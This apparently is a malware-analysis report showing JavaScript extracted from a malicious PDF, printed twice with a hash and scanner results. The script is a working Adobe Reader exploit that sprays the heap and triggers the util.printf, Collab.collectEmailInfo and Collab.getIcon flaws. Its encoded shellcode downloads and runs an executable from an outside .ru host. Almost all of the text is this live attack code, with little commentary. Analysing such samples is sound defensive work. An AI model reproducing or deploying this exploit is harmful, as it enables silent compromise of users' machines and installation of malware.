function collab_email(){var shellcode=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u622F%u7A65%u626F%u7A69%u2E6E%u7572%u612F%u6A69%u6D6B%u746E%u7977%u2E33%u7865%u0065");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u622F%u7A65%u626F%u7A69%u2E6E%u7572%u622F%u6D66%u706F%u7571%u2E33%u7865%u0065");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
function pdf_start(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}
if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}
pdf_start();
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from combined JavaScript objects at offset 0x36B 5270 bytes
SHA-256: 459ce4895da9312c73a17f1008dc4a73b96d7d6258815fbc30d36fce67452542
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}
yarsp=yarsp.substring(0,len/2);return yarsp;}
function util_printf(){var payload=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u622F%u7A65%u626F%u7A69%u2E6E%u7572%u622F%u7269%u2E33%u7865%u0065");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f",num);}
function collab_email(){var shellcode=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u622F%u7A65%u626F%u7A69%u2E6E%u7572%u612F%u6A69%u6D6B%u746E%u7977%u2E33%u7865%u0065");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u622F%u7A65%u626F%u7A69%u2E6E%u7572%u622F%u6D66%u706F%u7571%u2E33%u7865%u0065");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}
var tUMhNbGw=unescape("	");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
function pdf_start(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}
if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}
pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.